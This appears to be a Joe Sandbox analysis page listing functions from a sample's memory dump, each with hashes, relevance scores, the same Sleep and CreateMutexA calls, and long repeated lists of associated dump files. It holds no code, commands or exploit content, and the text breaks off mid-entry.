Opcode ID: 03e1886b4019e3afb55a25e6e1acd96a246fd4b5646130c3248bcbd7945db415
Instruction ID: e5c9419439647d1de041a960993d7e5aca4fe7b25b4679750ff83389d1caa015
Opcode Fuzzy Hash: 03e1886b4019e3afb55a25e6e1acd96a246fd4b5646130c3248bcbd7945db415
Instruction Fuzzy Hash: FA312931B142409FFF18ABE8DC8D76DBB63AB86310F24435EE4589B3D5C7765A808712

Function 0068A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: 1561ea6ec5cde5d32073eccb80f16bcb1a1a70586ec06acc70da2c561dda8391
Instruction ID: df1155d9bcedb91f5b5c065de7cc85d4bcf10baa2c89b3fa090ae36b96fd0b9c
Opcode Fuzzy Hash: 1561ea6ec5cde5d32073eccb80f16bcb1a1a70586ec06acc70da2c561dda8391
Instruction Fuzzy Hash: AD312831A142409BFF08ABF8D88D7ADBBA39B85310F20435DE4589B3D5C7B659808756

Function 0068A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: a2bf3d47dc7f84152b0260489e9b99f479d09298ff955bf765f3620d3302c350
Instruction ID: e52d7610a8ef445ae184edbb0fadaf7426cdac67dcb3f25d3eb4b9391c105e36
Opcode Fuzzy Hash: a2bf3d47dc7f84152b0260489e9b99f479d09298ff955bf765f3620d3302c350
Instruction Fuzzy Hash: 17313771B042049BFF18ABF8D8897ACBB63AB85314F24435EE8589B3D6C77589C08717

Function 0068A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: 726d2e77270234168bfad64bbc4840a0371f3974186da1594412afd5ce130cbd
Instruction ID: b8546943c9ad24ec598f60ba63971a527c8807bc90a67e04261b04d0f8c15c3c
Opcode Fuzzy Hash: 726d2e77270234168bfad64bbc4840a0371f3974186da1594412afd5ce130cbd
Instruction Fuzzy Hash: 6A314831B042449BFF18ABB8CC897ADBB63DB85310F24435EE818AB3D5C77589808712

Function 00689ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: 68223caafc9d5ec8a966fde4caece363cd7e23b48d596ba65a32499070525d35
Instruction ID: 0a8b034a98c26ff26d1fbcd0c4e7378313fbd96b4f6df044c771857cd34addbb
Opcode Fuzzy Hash: 68223caafc9d5ec8a966fde4caece363cd7e23b48d596ba65a32499070525d35
Instruction Fuzzy Hash: 90212531B142409BEF18ABA8DCC977DB767EBC5310F24436EE4089B7D5C7B659808722

Function 0068A856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
CreateMutexA.KERNEL32(00000000,00000000,006E3254), ref: 0068A981

Strings

T2n, xrefs: 0068A970

Memory Dump Source

Source File: 00000000.00000002.1847627924.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1847482680.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1847627924.00000000006E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848050989.00000000006E9000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1848122207.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849277176.00000000006F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849641023.00000000006F6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1849666432.00000000006F7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1850968987.0000000000847000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1851143966.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852528254.000000000085C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852560154.000000000085E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000860000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1852598717.0000000000869000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853215802.0000000000871000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853261062.0000000000872000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853351756.0000000000885000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853377776.0000000000886000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853421521.0000000000888000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853444418.000000000088A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853509644.0000000000898000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853538163.0000000000899000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853561048.00000000008A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853622896.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853652514.00000000008C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853718746.00000000008C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853735849.00000000008C5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853757569.00000000008C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853777185.00000000008D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853796679.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853815723.00000000008D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853849223.00000000008D8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853873156.00000000008E6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853892381.00000000008E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853911147.00000000008F5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853934669.00000000008FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853955359.00000000008FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1853979504.0000000000906000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854006199.0000000000917000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000919000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854027641.0000000000946000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854095528.0000000000974000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854117151.0000000000975000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854137052.0000000000976000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854160061.0000000000979000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854178079.000000000097B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854200597.000000000098A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1854218517.000000000098B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_yiDQb6GkBq.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2n
API String ID: 1464230837-3549316944
Opcode ID: 05f1a119eec0d9442b75202bb27e4466b10b28952a5b7e6b222a63f6a14fe7bb
Instruction ID: dd43ff3d28c779bcf584297314be7a4df2623e5b51f422fe36d0d03f589d4f7a
Opcode Fuzzy Hash: 05f1a119eec0d9442b75202bb27e4466b10b28952a5b7e6b222a63f6a14fe7bb
Instruction Fuzzy Hash: E52128B17592019EFB2477E8888E77DB7539F85300F240A1FE948973D2DB7A89818367

Function 0068A34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0068A963
